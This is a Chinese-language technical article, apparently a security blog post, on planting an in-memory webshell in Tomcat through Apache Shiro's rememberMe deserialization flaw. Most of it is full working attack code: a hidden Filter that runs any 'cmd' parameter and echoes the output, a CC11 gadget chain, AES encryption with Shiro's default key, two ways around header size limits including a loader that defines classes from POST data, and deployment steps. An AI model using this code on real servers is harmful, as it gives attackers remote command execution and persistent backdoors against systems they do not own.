Shiro注入回显内存马
字数 1457 2025-08-24 07:48:22
Shiro注入回显内存马技术分析与实现
前言
本文详细分析Shiro框架中注入回显内存马的技术实现,重点解决Tomcat环境下Shiro自定义Filter导致的内存马注入限制问题,并提供了完整的实现方案。
技术背景
在Tomcat反序列化注入回显内存马的研究中,发现由于Shiro框架自定义了一个Filter,导致无法直接在Shiro中注入内存马。为此,研究人员提出了一种基于全局存储的新思路,可在除Tomcat 7以外的其他版本中使用。
核心思路
寻找Response存储位置
通过分析Tomcat源码,在AbstractProcessor类中发现Request和Response被声明为final属性,这意味着一旦赋值后便不会被更改。因此,只要能获取到Http11Processor实例,就能获取到Request和Response对象。
获取Http11Processor的流程
org.apache.coyote.AbstractProtocol#process调用createProcessor方法创建ProcessorAbstractHttp11Protocol继承AbstractProtocol,调用父类的createProcessor()- 调用
Http11Processor的构造方法 - 在构造器中初始化Request和Response并赋值给
AbstractProcessor的request和response属性
获取Http11Processor的途径
- 通过
createProcessor()创建的Processor会被注册 - 从processor中获取
RequestInfo类型的请求信息rp - 调用
setGlobalProcessor将rp存入子类ConnectionHandler的global属性中 - 通过反射获取
AbstractProtocol$ConnectoinHandler的global属性 - 再获取global中的processors属性
- 遍历processors获取Request和Response
完整的调用链
WebappClassLoader -> StandardService -> Connector ->
AbstractProtocol$ConnectoinHandler -> global -> Processor -> Request -> Response
内存马实现
内存马核心代码
public class TomcatMemShellInject extends AbstractTranslet implements Filter {
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "evilFilter";
static {
try {
// 获取StandardContext
Class c = Class.forName("org.apache.catalina.core.StandardContext");
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
// 获取ServletContext
ServletContext servletContext = standardContext.getServletContext();
// 获取filterConfigs
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 如果filter不存在则注入
if (filterConfigs.get(filterName) == null){
// 修改StandardContext状态为STARTING_PREP
Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
// 创建并注册Filter
Filter MemShell = new TomcatMemShellInject();
FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, MemShell);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
// 恢复StandardContext状态
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
// 启动filter
if (standardContext != null){
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
// 调整FilterMap顺序
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
// 将恶意filter放到首位
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
} catch (Exception e){
e.printStackTrace();
}
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
String cmd;
// 执行命令并回显
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
AES加密实现
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
public class AESEncode {
public static void main(String[] args) throws Exception {
String tomcatHeader = "./tomcatHeader.ser";
byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(getBytes(tomcatHeader), key);
System.out.printf(ciphertext.toString());
}
public static byte[] getBytes(String path) throws Exception {
InputStream inputStream = new FileInputStream(path);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n = inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
return bytes;
}
}
CC11利用链构造
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
public class CC11Template {
public static void main(String[] args) throws Exception {
// 写入.class 文件
byte[] classBytes = getBytes();
byte[][] targetByteCodes = new byte[][]{classBytes};
// 初始化TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates, targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates, "name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates, null);
// 构造CC11利用链
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map, templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
// 反射修改HashSet内部结构
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(hashset_map);
Object node = array[0];
if (node == null){
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedmap);
// 修改InvokerTransformer的iMethodName
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer, "newTransformer");
// 序列化对象
try {
ObjectOutputStream outputStream = new ObjectOutputStream(
new FileOutputStream("./tomcatHeader.ser"));
outputStream.writeObject(hashset);
outputStream.close();
} catch (Exception e){
e.printStackTrace();
}
}
public static byte[] getBytes() throws IOException {
InputStream inputStream = new FileInputStream(
new File("./src/test/java/TomcatHeaderSize.class"));
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int n = 0;
while ((n = inputStream.read())!=-1){
byteArrayOutputStream.write(n);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
System.out.println(bytes);
return bytes;
}
}
Header长度限制绕过方案
方案一:反射修改maxHeaderSize
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
// 获取StandardContext
Field contextField = StandardContext.class.getDeclaredField("context");
Field serviceField = ApplicationContext.class.getDeclaredField("service");
Field requestField = RequestInfo.class.getDeclaredField("req");
Field headerSizeField = Http11InputBuffer.class.getDeclaredField("headerBufferSize");
Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
ApplicationContext applicationContext = (ApplicationContext) contextField.get(
webappClassLoaderBase.getResources().getContext());
StandardService standardService = (StandardService) serviceField.get(applicationContext);
Connector[] connectors = standardService.findConnectors();
// 遍历Connector修改header大小
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof AbstractHttp11Protocol) {
Class[] classes = AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// 查找ConnectionHandler
if (52 == (classes[j].getName().length()) ||
60 == (classes[j].getName().length())) {
Field globalField = classes[j].getDeclaredField("global");
Field processorsField = RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) globalField.get(
getHandlerMethod.invoke(protocolHandler, null));
List list = (List) processorsField.get(requestGroupInfo);
// 修改每个processor的headerBufferSize
for (int k = 0; k < list.size(); k++) {
Request tempRequest = (Request) requestField.get(list.get(k));
headerSizeField.set(tempRequest.getInputBuffer(), 10000);
}
}
}
// 修改全局maxHttpHeaderSize
((AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
} catch (Exception e) {
}
}
}
方案二:自定义ClassLoader加载Body数据
public class MyLoader extends AbstractTranslet {
static {
try {
String pass = "loader";
System.out.println("Loader load.....");
// 获取StandardContext
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context context = webappClassLoaderBase.getResources().getContext();
Field contextField = StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(context);
// 获取StandardService
Field serviceField = ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
Connector[] connectors = standardService.findConnectors();
// 遍历Connector
for (int i = 0; i < connectors.length; i++) {
if (connectors[i].getScheme().contains("http")) {
ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
Method getHandlerMethod = AbstractProtocol.class.getDeclaredMethod("getHandler", null);
getHandlerMethod.setAccessible(true);
// 获取ConnectionHandler
AbstractEndpoint.Handler connectoinHandler = (AbstractEndpoint.Handler)
getHandlerMethod.invoke(protocolHandler, null);
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler")
.getDeclaredField("global");
globalField.setAccessible(true);
// 获取RequestGroupInfo
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) globalField.get(connectoinHandler);
Field processorsField = RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);
List list = (List) processorsField.get(requestGroupInfo);
// 通过QueryString筛选特定请求
for (int k = 0; k < list.size(); k++) {
RequestInfo requestInfo = (RequestInfo) list.get(k);
if (requestInfo.getCurrentUri().contains("demo")){
System.out.println("success");
// 获取Request对象
Field requestField = RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
Request tempRequest = (Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request =
(org.apache.catalina.connector.Request) tempRequest.getNote(1);
// 从POST参数中获取class数据
String classData = request.getParameter("classData");
System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
// 动态加载class
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(
MyLoader.class.getClassLoader(), classBytes, 0, classBytes.length);
Class.forName(cc.getName());
break;
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
实施步骤
- 生成内存马class文件:编译
TomcatMemShellInject.java生成class文件 - 构造CC11利用链:使用
CC11Template.java将class文件序列化 - AES加密:使用
AESEncode.java对序列化文件进行加密 - 绕过header限制:
- 方法一:先注入
TomcatHeaderSize修改header大小限制 - 方法二:使用
MyLoader通过POST body加载恶意class
- 方法一:先注入
- 注入内存马:通过rememberMe参数发送加密后的payload
注意事项
- 方法二需要在请求URL中包含"demo"才能触发加载
- Tomcat 7不支持此技术方案
- 实际使用时需要根据目标环境调整反射代码
- 注入前需要确认Shiro的加密密钥是否为默认值
总结
本文详细分析了Shiro框架中注入回显内存马的技术实现,提供了完整的代码实现和两种绕过header限制的方案。这种技术利用了Tomcat的内部结构和Shiro的反序列化漏洞,实现了在受限环境下的内存马注入。